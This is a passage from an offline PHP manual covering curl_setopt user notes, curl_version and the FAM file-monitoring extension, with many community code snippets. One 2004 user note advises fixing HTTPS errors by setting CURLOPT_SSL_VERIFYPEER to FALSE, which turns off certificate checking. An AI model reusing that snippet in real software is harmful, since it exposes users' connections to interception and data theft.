// SET POST PARAMETERS : FORM VALUES FOR EACH FIELD
curl_setopt ($ch, CURLOPT_POSTFIELDS, 'fieldname1=fieldvalue1&fieldname2=fieldvalue2');

// IMITATE CLASSIC BROWSER'S BEHAVIOUR : HANDLE COOKIES
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

# Setting CURLOPT_RETURNTRANSFER variable to 1 will force cURL
# not to print out the results of its query.
# Instead, it will return the results as a string return value
# from curl_exec() instead of the usual true/false.
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

// EXECUTE 1st REQUEST (FORM LOGIN)
$store = curl_exec ($ch);

// SET FILE TO DOWNLOAD
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Downloads/AnnualReport.pdf');

// EXECUTE 2nd REQUEST (FILE DOWNLOAD)
$content = curl_exec ($ch);

// CLOSE CURL
curl_close ($ch);

/*
  At this point you can do do whatever you want
  with the downloaded file stored in $content :
  display it, save it as file, and so on.
*/
?>
mcknight at chek dot com 22-Aug-2005 08:10
when specifing the file for either CURLOPT_COOKIEFILE or CURLOPT_COOKIEJAR you may need to use the full file path instead of just the relative path.
phpnet at andywaite dot com 07-Jun-2005 02:08
After setting CURLOPT_FILE, you may want want to revert back to the normal behaviour of displaying the results. This can be achieved using:

<?php
$fp = fopen ("php://output", "w") or die("Unable to open stdout for writing.\n");
curl_setopt($ch, CURLOPT_FILE, $fp);
?>
michaeledwards.com 01-Jun-2005 02:57
Problems can occur if you mix CURLOPT_URL with a 'Host:' header in CURLOPT_HEADERS on redirects because cURL will combine the host you explicitly stated in the 'Host:' header with the host from the Location: header of the redirect response.

In short, don't do this:

<?php
$host = "www.example.com";
$url = "http://$host/";

$headers = array("Host: $host");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

Do this instead:

$host = "www.example.com";
$url = "http://$host/";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
?>
samlowry at e-baka dot net 14-May-2005 06:09
About CURLOPT_ENCODING:
added in curl in 7.10 - Oct 1 2002
In 7.10.5 - May 19 2003 syntax was chnaged:
"setting CURLOPT_ENCODING to "" automaticly enables all supported encodings"
ikendra at yken dot nospam dot org 09-May-2005 09:26
Using cURL, I needed to call a third-party script which was returning binary data as attachment to pass on retrieved data again as attachment.

Problem was that the third-party script occassionally returned HTTP errors and I wanted to avoid passing on zero-length attachment in such case.

Combination of using CURLOPT_FAILONERROR and CURLOPT_HEADERFUNCTION callback helped to process the third-party script HTTP errors neatly:

<?php
function curlHeaderCallback($resURL, $strHeader) {
    if (preg_match('/^HTTP/i', $strHeader)) {
        header($strHeader);
        header('Content-Disposition: attachment; filename="file-name.zip"');
    }
    return strlen($strHeader);
}

$strURL = 'http://www.example.com/script-whichs-dumps-binary-attachment.php';

$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);

curl_exec ($resURL);

$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);

if ($intReturnCode != 200) {
    print 'was error: ' . $intReturnCode;
}
?>
raul at navenetworks dot com 21-Jul-2004 01:19
Hi!

I have found some information I am sure it could help lot of programmers when they want to connect with curl to any https website and they haven't a good or right CA Cert :)

I give you just one example It has resolved me 2 hours of my time looking for a solution.

It is simple, just if you get any error in the curl_exec (use curl_error(...) to see the error to trace it) add the next line and everything is solved:

(note: replace $ch with the right curl variable)

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

<?php

$ch = curl_init();
$res= curl_setopt ($ch, CURLOPT_URL,"https://yoururl/cgi");

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "Idc=si&");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$xyz = curl_exec ($ch);

curl_close ($ch);
echo $xyz;
if ($xyz == NULL) {
           echo "Error:<br>";
           echo curl_errno($ch) . " - " . curl_error($ch) . "<br>";
}
?>

I hope this helps.

Raul Mate Galan
Ceo Navenetworks Corp.

Note: Thanks to Ruben Lopez Gea for his help too.
ron at ttvavanti dot nl 07-May-2004 08:00
If you specify a CAINFO, note that the file must be in PEM format! (If not, it won't work).
Using Openssl you can use:
openssl x509 -in <cert> -inform d -outform PEM -out cert.pem
To create a pem formatted certificate from a binary certificate (the one you get if you download the ca somewhere).
Jakub Horky <jakub dot php at horky dot net> 04-Apr-2004 01:20
A bit more documentation (without minimum version numbers):

- CURLOPT_WRITEFUNCTION
- CURLOPT_HEADERFUNCTION
  Pass a function which will be called to write data or headers respectively. The callback function prototype:

long write_callback (resource ch, string data)

The ch argument is CURL session handle. The data argument is data received. Note that its size is variable. When writing data, as much data as possible will be returned in all invokes. When writing headers, exactly one complete header line is returned for better parsing.
The function must return number of bytes actually taken care of. If that amount differs from the amount passed to this function, an error will occur.

- CURLOPT_READFUNCTION
  Pass a function which will be called to read data. The callback function prototype:

string read_callback (resource ch, resource fd, long length)

The ch argument is CURL session handle. The fd argument is file descriptor passed to CURL by CURLOPT_INFILE option. The length argument is maximum length which can be returned.
The function must return string containing the data which were read. If length of the data is more than maximum length, it will be truncated to maximum length. Returning anything else than a string means an EOF.

[Note: there is more callbacks implemented in current cURL library but they aren't unfortunately implemented in php curl interface yet.]
tim dot php at ebw dot ca 18-Nov-2003 06:18
The page http://curl.haxx.se/libcurl/c/curl_easy_setopt.html at the cURL site has a list of all the CURLOPTS, including many not mentioned here. Also see http://curl.haxx.se/libcurl/php/examples/ for cURL examples in PHP.
eric at imap dot ch 07-Jul-2003 09:38
I managed to use curl to retrieve information from severs on ports other than 80 or 443 (for https) on some installations but not on all.
If you get an "CURLE_COULDNT_CONNECT /* 7 */" error, try adding the port : (for example)

<?php curl_setopt($ch, CURLOPT_PORT, $_SERVER['SERVER_PORT']); ?>
me 14-May-2003 09:36
Just a reminder: When setting your CURLOPT_POSTFIELDS remember to replace the spaces in your values with %20
dweingart at pobox dot com 02-Apr-2003 03:08
If you want to Curl to follow redirects and you would also like Curl to echo back any cookies that are set in the process, use this:

<?php curl_setopt($ch, CURLOPT_COOKIEJAR, '-'); ?>

'-' means stdout

-dw
yann dot corno at free dot fr 13-Nov-2002 04:19
About the CURLOPT_HTTPHEADER option, it took me some time to figure out how to format the so-called 'Array'. It fact, it is a list of strings. If Curl was already defining a header item, yours will replace it. Here is an example to change the Content Type in a POST:

<?php curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); ?>

Yann
23-Oct-2002 12:04
beware that not all cURLlib constants are supported under php :
e.g. CURLOPT_PROGRESSFUNCTION or CURLOPT_WRITEDATA are not supported.

CURLOPT_WRITEFUNCTION, although undocumented is supported. It takes the name of a user_defined function.
the function should take two arguments (the curl handle, and the inputdata) and return the length of the written data
e.g.

<?php
function myPoorProgressFunc($ch,$str){
global $fd;
$len = fwrite($fd,$str);
print("#");
return $len;
}

curl_setopt($ch,CURLOPT_WRITEFUNCTION,"myPoorProgressFunc");
?>

Also be aware that CURLOPT_WRITEFUNCTION  does NOT take the CURLOPT_FILE as a parameter!
in curl lib it would take CURLOPT_WRITEDATA but this is not supported by php; that's why I use "global $fd;" in my exemple function.

CURLOPT_HEADERFUNCTION works the same, and is guaranteed to receive complete header lines as input!

Hope this helps

Ivan
mrcheezy at hotmail dot com 13-Sep-2002 02:34
If you set return transfer to 1 and are sending a post form and find that this crashes php try setting follow location to 1 also. I'm not exactly sure why this crashed, but after i used follow it stopped.

<?php
  curl_setopt ($sess, CURLOPT_FOLLOWLOCATION, '1');
  curl_setopt ($sess, CURLOPT_RETURNTRANSFER, '1');
?>
paul at zgtec dot com 26-Aug-2002 02:31
To make a POST in multipart/form-data mode
this worked for me, the " \n" at the end of the variables was very important on my OS X server.

<?php

$file = "file_to_upload.txt";
$submit_url = "http://www.example.com/upload_page.php";

$formvars = array("cc"=>"us \n");
$formvars[variable_1] = "bla bla \n";
$formvars[variable_2] = "bla bla \n";
$formvars[variable_3] = "bla bla \n";
$formvars[variable_4] = "bla bla \n";
$formvars[upfile] = "@$file"; // "@" causes cURL to send as file and not string (I believe)

    // init curl handle
    $ch = curl_init($submit_url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "my_cookies.txt");  //initiates cookie file if needed
    curl_setopt($ch, CURLOPT_COOKIEFILE, "my_cookies.txt");  // Uses cookies from previous session if exist
    curl_setopt($ch, CURLOPT_REFERER, "http://www.example.net");  //if server needs to think this post came from elsewhere
    curl_setopt($ch, CURLOPT_VERBOSE, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); // follow redirects recursively
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $formvars);

    // perform post
    echo $pnp_result_page = curl_exec($ch);
    curl_close ($ch);

?>
tychay at alumni dot caltech dot edu 03-Apr-2002 01:14
CURLOPT_HTTPHEADER is NOT like the -H command line switch. The command line switch adds or replaces headers (much like the header() line in PHP, but for HTTP clients instead of servers), but the curl extension will eliminate the headers cURL sends by default.

For instance, your Authorization, Host, Referer, Pragma, and Accept headers which are normally written by default or by other CURLOPT_*'s.

Also, it might seem intuitive that this should accept an array hash of header->values, but this is not the case. It accepts an array of strings of the format "Header: Value", much like the -H command-line switch.

Hope this helps,

terry
asmith at crawlspace dot com 28-Feb-2002 07:18
It's possible to take advantage of multiple URLs on the same host in one curl_exec transaction ... just use multiple instances of CURLOPT_URL.

Example:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://example.com/a.html");
curl_setopt($ch, CURLOPT_URL, "http://example.com/b.html");
curl_setopt($ch, CURLOPT_URL, "http://example.com/c.html");
curl_exec($ch);
curl_close($ch);
?>

... the URLs appear to be hit in the same order they are entered. This takes advantage of cURL's Persistant Connection capability if all the URLs are on the same host!
bvwj at swbell dot net 18-Dec-2001 01:35
To collect cookies recieved with a request, set CURLOPT_COOKIEJAR "cookieFileName".  Then use CURLOPT_COOKIEFILE "cookieFileName" to recall them in subsequent transactions.
22-Sep-2001 09:52
To make a POST in multipart/form-data mode

(to upload a file for example) you can use

<?php curl_setopt($ch,CURLOPT_POSTFIELDS,$post); ?>

where $post is an array :

<?php
$post['key1'] = 'data1';
//  like a text field in a POST
$post['file1'] = '@filename1'
// upload filename1
?>

For more informations see the

curl_formparse man page.
sr2899.at.hotmail.com 14-May-2001 02:00
CURLOPT_RETURNTRANSFER has the interesting behaviour of tacking a null char onto the end of the string.  This null char is actually on the end of the php string, and can cause some odd results if you're not expecting it to be there.
fil at rezox dot com 21-Feb-2001 05:50
If you want to connect to a secure server for posting info/reading info, you need to make cURL with the openSSL options. Then the sequence is nearly identical to the previous example (except http_S_://, and possibly add the useragent):

<?php
curl_setopt($ch, CURLOPT_URL,"https://example.com");
//some sites only accept your request if your browser looks legit, so send a useragent profile...
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
?>
bvr at xs4all dot nl 07-Feb-2001 07:09
If you'd like to include extra headers in your POST request, you can accomplish this by setting the following option:

CURLOPT_HTTPHEADER

This is similar to the CURL -H command line switch.

Thanks to Daniel Stenberg for pointing out this usefull feature!

Note: this option was first supported in PHP version 4.03 .
awestholm at imail dot usi dot net 25-Jan-2001 11:33
Just because the docs are rather sparse on this, to set multiple values in a cookie, you separate them with a semicolon, as usual. An example, yo set j to j and k to k:

<?php curl_setopt($ch,CURLOPT_COOKIE,"j=j;k=k"); ?>

    -- Alex
dan dot polansky at seznam dot cz 17-Jan-2001 02:31
I used to download www pages to my script and one of the pages was different in MS explorer and different, when I downloaded it. Namely, information, I was really interested in was missing. That was because the server on the other bank of the river was looking at who is downloading the page. Everything got fixed when I pretended I was MSIE. It is done with curl. Here is a function, that you may use in similar situation

<?php
function download_pretending($url,$user_agent) {
   $ch = curl_init();
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);
   curl_setopt ($ch, CURLOPT_HEADER, 0);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   $result = curl_exec ($ch);
   curl_close ($ch);
   return $result;
}
?>
curl_setopt_array
curl_version
cURL Functions


Gets cURL version information

curl_setopt
FAM
cURL Functions
PHP Manual

curl_version

(PHP 4 >= 4.0.2, PHP 5)

curl_version — Gets cURL version information

Description

array curl_version ([ int $age = CURLVERSION_NOW ] )

Returns information about the cURL version.

Parameters

age

Return Values

Returns an associative array with the following elements:

Indice | Value description
version_number | cURL 24 bit version number
version | cURL version number, as a string
ssl_version_number | OpenSSL 24 bit version number
ssl_version | OpenSSL version number, as a string
libz_version | zlib version number, as a string
host | Information about the host where cURL was built
age |
features | A bitmask of the CURL_VERSION_XXX constants
protocols | An array of protocols names supported by cURL

Examples

Example #1 curl_version() example

This example will check which features that's available in cURL build by using the 'features' bitmask returned by curl_version().

<?php
// Get curl version array
$version = curl_version();

// These are the bitfields that can be used
// to check for features in the curl build
$bitfields = Array(
            'CURL_VERSION_IPV6',
            'CURL_VERSION_KERBEROS4',
            'CURL_VERSION_SSL',
            'CURL_VERSION_LIBZ'
            );

foreach($bitfields as $feature)
{
    echo $feature . ($version['features'] & constant($feature) ? ' matches' : ' does not match');
    echo PHP_EOL;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
curl_setopt
FAM
cURL Functions


File Alteration Monitor

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • FAM Functions
    • fam_cancel_monitor — Terminate monitoring
    • fam_close — Close FAM connection
    • fam_monitor_collection — Monitor a collection of files in a directory for changes
    • fam_monitor_directory — Monitor a directory for changes
    • fam_monitor_file — Monitor a regular file for changes
    • fam_next_event — Get next pending FAM event
    • fam_open — Open connection to FAM daemon
    • fam_pending — Check for pending FAM events
    • fam_resume_monitor — Resume suspended monitoring
    • fam_suspend_monitor — Temporarily suspend monitoring

User Contributed Notes

There are no user contributed notes for this page.
curl_version
Introduction
Other Services


Introduction

FAM monitors files and directories, notifying interested applications of changes. More information about FAM is available at » http://oss.sgi.com/projects/fam/.

A PHP script may specify a list of files for FAM to monitor using the functions provided by this extension.

The FAM process is started when the first connection from any application to it is opened. It exits after all connections to it have been closed.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
FAM
Installing/Configuring
FAM


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
FAM


Requirements

This extension uses the functions of the » FAM library, developed by SGI. Therefore you have to download and install the FAM library.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/fam.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

There are two resource types used in the FAM module. The first one is the connection to the FAM service returned by fam_open(), the second a monitoring resource returned by the fam_monitor_XXX functions.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FAM event constants
Constant | Description
FAMChanged (integer) | Some value which can be obtained with fstat(1) changed for a file or directory.
FAMDeleted (integer) | A file or directory was deleted or renamed.
FAMStartExecuting (integer) | An executable file started executing.
FAMStopExecuting (integer) | An executable file that was running finished.
FAMCreated (integer) | A file was created in a directory.
FAMMoved (integer) | This event never occurs.
FAMAcknowledge (integer) | An event in response to fam_cancel_monitor().
FAMExists (integer) | An event upon request to monitor a file or directory. When a directory is monitored, an event for that directory and every file contained in that directory is issued.
FAMEndExist (integer) | Event after the last FAMEExists event.

User Contributed Notes

f dot knodt at yotaweb dot de 26-Feb-2009 01:31
Corresponding integer values:

FAMChanged          1
FAMDeleted          2
FAMStartExecuting   3
FAMStopExecuting    4
FAMCreated          5
FAMMoved            6
FAMAcknowledge      7
FAMExists           8
FAMEndExist         9
Resource Types
FAM Functions
FAM


FAM Functions

Table of Contents

  • fam_cancel_monitor — Terminate monitoring
  • fam_close — Close FAM connection
  • fam_monitor_collection — Monitor a collection of files in a directory for changes
  • fam_monitor_directory — Monitor a directory for changes
  • fam_monitor_file — Monitor a regular file for changes
  • fam_next_event — Get next pending FAM event
  • fam_open — Open connection to FAM daemon
  • fam_pending — Check for pending FAM events
  • fam_resume_monitor — Resume suspended monitoring
  • fam_suspend_monitor — Temporarily suspend monitoring

User Contributed Notes

Yassin Ezbakhe <yassin88 at gmail dot com> 31-Aug-2005 04:16
I make a VERY simple class that monitors a folder (and its subfolders) for new or removed files. I use it in order to auto index a folder where I have all my eBooks into a MySQL database.

CLASS FILE:

<?php
class FileAlterationMonitor
{
    private $scanFolder, $initialFoundFiles;

    public function __construct($scanFolder)
    {
        $this->scanFolder = $scanFolder;
        $this->updateMonitor();
    }

    private function _arrayValuesRecursive($array)
    {
        $arrayValues = array();

        foreach ($array as $value)
        {
            if (is_scalar($value) OR is_resource($value))
            {
                 $arrayValues[] = $value;
            }
            elseif (is_array($value))
            {
                 $arrayValues = array_merge( $arrayValues, $this->_arrayValuesRecursive($value));
            }
        }

        return $arrayValues;
    }

    private function _scanDirRecursive($directory)
    {
        $folderContents = array();
        $directory = realpath($directory).DIRECTORY_SEPARATOR;

        foreach (scandir($directory) as $folderItem)
        {
            if ($folderItem != "." AND $folderItem != "..")
            {
                if (is_dir($directory.$folderItem.DIRECTORY_SEPARATOR))
                {
                    $folderContents[$folderItem] = $this->_scanDirRecursive( $directory.$folderItem."\\");
                }
                else
                {
                    $folderContents[] = $folderItem;
                }
            }
        }

        return $folderContents;
    }

    public function getNewFiles()
    {
        $finalFoundFiles = $this->_arrayValuesRecursive( $this->_scanDirRecursive($this->scanFolder));

        if ($this->initialFoundFiles != $finalFoundFiles)
        {
            $newFiles = array_diff($finalFoundFiles, $this->initialFoundFiles);
            return empty($newFiles) ? FALSE : $newFiles;
        }
    }

    public function getRemovedFiles()
    {
        $finalFoundFiles = $this->_arrayValuesRecursive( $this->_scanDirRecursive($this->scanFolder));

        if ($this->initialFoundFiles != $finalFoundFiles)
        {
            $removedFiles = array_diff( $this->initialFoundFiles, $finalFoundFiles);
            return empty($removedFiles) ? FALSE : $removedFiles;
        }
    }

    public function updateMonitor()
    {
        $this->initialFoundFiles = $this->_arrayValuesRecursive($this->_scanDirRecursive( $this->scanFolder));
    }
}
?>

A simple script that uses this class could be like this one (use it with PHP CLI):

<?php

$f = new FileAlterationMonitor($MY_FOLDER_TO_MONITOR)

while (TRUE)
{
    sleep(1);

    if ($newFiles = $f->getNewFiles())
    {
        // Code to handle new files
        // $newFiles is an array that contains added files
    }

    if ($removedFiles = $f->getRemovedFiles())
    {
        // Code to handle removed files
        // $newFiles is an array that contains removed files
    }

    $f->updateMonitor();
}
ca50015 at yahoo dot com 27-Nov-2004 09:17
if u want do recursive monitoring on directory tree,
dont use fam_monitor_directory()
try to use fam_monitor_collection() instead
:)
b e n a d l e r -at- g m x -d-o-t- net 11-Aug-2004 10:57
in the example above, I would not use the while(1) and sleep() functions, since then you're back at waiting and polling for file changes, which you were trying to avoid using fam.

Instead, you can use while(fam_next_event($resource)), which blocks until there is an event. No polling, no useless wasting of cpu  cycles.

Anyway, I have some problems with fam: It is very limited and almost useless.

 - You cannot monitor a directory tree easily, since fam_monitor_directory() is non-recursive. Its an ugly hack, but you can go through each subdir and also monitor it with fam_monitor_directory().

 - When you do that, you will have another problem: The events you get contain the code and the filename, but not the pathname of the file that caused the event. Thus, if you monitor two or more directories, and they possibly contain files with the same basename, you cannot find out what file has changed. One ugly solution might be to create a new fam_resource for each directory you want to monitor, but then you cannot use fam_next_event() in your while loop anymore.

 - When a big file is saved (i.e. with photoshop via samba), you get file_changed events pretty much every second the file is being written to. It is not possible to receive ONE event AFTER the file operation is done.

I'm not sure, but I think most of this is not PHPs fault. Its just that fam (or dnotify, which fam uses on linux) sucks very badly. If you search on google, it seems everyone hates fam/dnotify (even linus), but noone has done anything about it yet.

If you find out how to work around thing, or if I'm completely wrong about all of this, please post here! Thanks!
sergiopaternoster at no_spam_tiscali dot it 21-May-2004 09:20
Here is a simple script to check changes etc. to a file.
<?php

/* opens a connection to the FAM service daemon */
$fam_res = fam_open ();

/*
 * The second argument is the full pathname
 * of the file to monitor.
 * Note that you can't use relative pathnames.
*/
$nres = fam_monitor_file ( $fam_res, '/home/sergio/test/fam/file_to_monitor.log');

while(1){
    if( fam_pending ( $fam_res ) ) $arr = (fam_next_event($fam_res)) ;
    switch ($arr['code']){
        case 1:
            echo "FAMChanged\n";
            break;
        case 2:
            echo "FAMDeleted\n";
            break;
        case 3:
            echo "FAMStartExecuting\n";
            break;
        case 4:
            echo "FAMStopExecuting\n";
            break;
        case 5:
            echo "FAMCreated\n";
            break;
        case 6:
            echo "FAMMoved\n";
            break;
        case 7:
            echo "FAMAcknowledge\n";
            break;
        case 8:
            echo "FAMExists\n";
            break;
        case 9:
            echo "FAMEndExist\n";
            break;
        default:
            break;
    }
    if(isset($arr)) unset($arr);

    /* In order to avoid too much CPU load */
    usleep(5000);
}

/* Close FAM connection */
fam_close($fam_res);

?>
Hope this could help.
God Belss PHP!
regards
Sergio Paternoster
Predefined Constants
fam_cancel_monitor
FAM


Terminate monitoring

FAM Functions
fam_close
FAM Functions
PHP Manual

fam_cancel_monitor

(PHP 5 <= 5.0.5)

fam_cancel_monitor — Terminate monitoring

Description

bool fam_cancel_monitor ( resource $fam , resource $fam_monitor )

Terminates monitoring on a resource.

In addition an FAMAcknowledge event occurs.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

fam_monitor

A resource returned by one of the fam_monitor_XXX functions

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fam_monitor_file() - Monitor a regular file for changes
  • fam_monitor_directory() - Monitor a directory for changes
  • fam_monitor_collection() - Monitor a collection of files in a directory for changes
  • fam_suspend_monitor() - Temporarily suspend monitoring

User Contributed Notes

There are no user contributed notes for this page.
FAM Functions
fam_close
FAM Functions


Close FAM connection

fam_cancel_monitor
fam_monitor_collection
FAM Functions
PHP Manual

fam_close

(PHP 5 <= 5.0.5)

fam_close — Close FAM connection

Description

void fam_close ( resource $fam )

Closes a connection to the FAM service.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

Return Values

No value is returned.

See Also

  • fam_monitor_open()

User Contributed Notes

There are no user contributed notes for this page.
fam_cancel_monitor
fam_monitor_collection
FAM Functions


Monitor a collection of files in a directory for changes

fam_close
fam_monitor_directory
FAM Functions
PHP Manual

fam_monitor_collection

(PHP 5 <= 5.0.5)

fam_monitor_collection — Monitor a collection of files in a directory for changes

Description

resource fam_monitor_collection ( resource $fam , string $dirname , int $depth , string $mask )

Requests monitoring for a collection of files within a directory.

A FAM event will be generated whenever the status of the files change. The possible event codes are described in detail in the constants part of this section.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

dirname

Directory path to the monitored files

depth

The maximum search depth starting from this directory

mask

A shell pattern mask restricting the file names to look for

Return Values

Returns a monitoring resource or FALSE on errors.

See Also

  • fam_monitor_file() - Monitor a regular file for changes
  • fam_monitor_directory() - Monitor a directory for changes
  • fam_cancel_monitor() - Terminate monitoring
  • fam_suspend_monitor() - Temporarily suspend monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.
fam_close
fam_monitor_directory
FAM Functions


Monitor a directory for changes

fam_monitor_collection
fam_monitor_file
FAM Functions
PHP Manual

fam_monitor_directory

(PHP 5 <= 5.0.5)

fam_monitor_directory — Monitor a directory for changes

Description

resource fam_monitor_directory ( resource $fam , string $dirname )

Requests monitoring for a directory and all contained files.

A FAM event will be generated whenever the status of the directory (i.e. the result of function stat() on that directory) or its content (i.e. the results of readdir()) changes.

The possible event codes are described in detail in the constants part of this section.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

dirname

Path to the monitored directory

Return Values

Returns a monitoring resource or FALSE on errors.

See Also

  • fam_monitor_file() - Monitor a regular file for changes
  • fam_monitor_collection() - Monitor a collection of files in a directory for changes
  • fam_cancel_monitor() - Terminate monitoring
  • fam_suspend_monitor() - Temporarily suspend monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.
fam_monitor_collection
fam_monitor_file
FAM Functions


Monitor a regular file for changes

fam_monitor_directory
fam_next_event
FAM Functions
PHP Manual

fam_monitor_file

(PHP 5 <= 5.0.5)

fam_monitor_file — Monitor a regular file for changes

Description

resource fam_monitor_file ( resource $fam , string $filename )

Requests monitoring for a single file. A FAM event will be generated whenever the file status changes (i.e. the result of function stat() on that file).

The possible event codes are described in detail in the constants part of this section.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

filename

Path to the monitored file

Return Values

Returns a monitoring resource or FALSE on errors.

See Also

  • fam_monitor_directory() - Monitor a directory for changes
  • fam_monitor_collection() - Monitor a collection of files in a directory for changes
  • fam_cancel_monitor() - Terminate monitoring
  • fam_suspend_monitor() - Temporarily suspend monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.
fam_monitor_directory
fam_next_event
FAM Functions


Get next pending FAM event

fam_monitor_file
fam_open
FAM Functions
PHP Manual

fam_next_event

(PHP 5 <= 5.0.5)

fam_next_event — Get next pending FAM event

Description

array fam_next_event ( resource $fam )

Returns the next pending FAM event.

The function will block until an event is available which can be checked for using fam_pending().

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

Return Values

Returns an array that contains a FAM event code in the 'code' element, the path of the file this event applies to in the 'filename' element and optionally a hostname in the 'hostname' element.

The possible event codes are described in detail in the constants part of this section.

See Also

  • fam_pending() - Check for pending FAM events

User Contributed Notes

There are no user contributed notes for this page.
fam_monitor_file
fam_open
FAM Functions


Open connection to FAM daemon

fam_next_event
fam_pending
FAM Functions
PHP Manual

fam_open

(PHP 5 <= 5.0.5)

fam_open — Open connection to FAM daemon

Description

resource fam_open ([ string $appname ] )

Opens a connection to the FAM service daemon.

Parameters

appname

A string identifying the application for logging reasons

Return Values

Returns a resource representing a connection to the FAM service on success or FALSE on errors.

See Also

  • fam_close() - Close FAM connection

User Contributed Notes

There are no user contributed notes for this page.
fam_next_event
fam_pending
FAM Functions


Check for pending FAM events

fam_open
fam_resume_monitor
FAM Functions
PHP Manual

fam_pending

(PHP 5 <= 5.0.5)

fam_pending — Check for pending FAM events

Description

int fam_pending ( resource $fam )

Checks for pending FAM events.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

Return Values

Returns non-zero if events are available to be fetched using fam_next_event(), zero otherwise.

See Also

  • fam_next_event() - Get next pending FAM event

User Contributed Notes

There are no user contributed notes for this page.
fam_open
fam_resume_monitor
FAM Functions


Resume suspended monitoring

fam_pending
fam_suspend_monitor
FAM Functions
PHP Manual

fam_resume_monitor

(PHP 5 <= 5.0.5)

fam_resume_monitor — Resume suspended monitoring

Description

bool fam_resume_monitor ( resource $fam , resource $fam_monitor )

Resumes monitoring of a resource previously suspended using fam_suspend_monitor().

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

fam_monitor

A resource returned by one of the fam_monitor_XXX functions

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fam_suspend_monitor() - Temporarily suspend monitoring

User Contributed Notes

There are no user contributed notes for this page.
fam_pending
fam_suspend_monitor
FAM Functions


Temporarily suspend monitoring

fam_resume_monitor
FTP
FAM Functions
PHP Manual

fam_suspend_monitor

(PHP 5 <= 5.0.5)

fam_suspend_monitor — Temporarily suspend monitoring

Description

bool fam_suspend_monitor ( resource $fam , resource $fam_monitor )

fam_suspend_monitor() temporarily suspend monitoring of a resource.

Monitoring can later be continued using fam_resume_monitor() without the need of requesting a complete new monitor.

Parameters

fam

A resource representing a connection to the FAM service returned by fam_open()

fam_monitor

A resource returned by one of the fam_monitor_XXX functions

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fam_cancel_monitor() - Terminate monitoring
  • fam_resume_monitor() - Resume suspended monitoring

User Contributed Notes

There are no user contributed notes for this page.
fam_resume_monitor
FTP
FAM Functions


FTP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • FTP Functions
    • ftp_alloc — Allocates space for a file to be uploaded
    • ftp_cdup — Changes to the parent directory
    • ftp_chdir — Changes the current directory on a FTP server
    • ftp_chmod — Set permissions on a file via FTP
    • ftp_close — Closes an FTP connection
    • ftp_connect — Opens an FTP connection
    • ftp_delete — Deletes a file on the FTP server
    • ftp_exec — Requests execution of a command on the FTP server
    • ftp_fget — Downloads a file from the FTP server and saves to an open file
    • ftp_fput — Uploads from an open file to the FTP server
    • ftp_get_option — Retrieves various runtime behaviours of the current FTP stream
    • ftp_get — Downloads a file from the FTP server
    • ftp_login — Logs in to an FTP connection
    • ftp_mdtm — Returns the last modified time of the given file
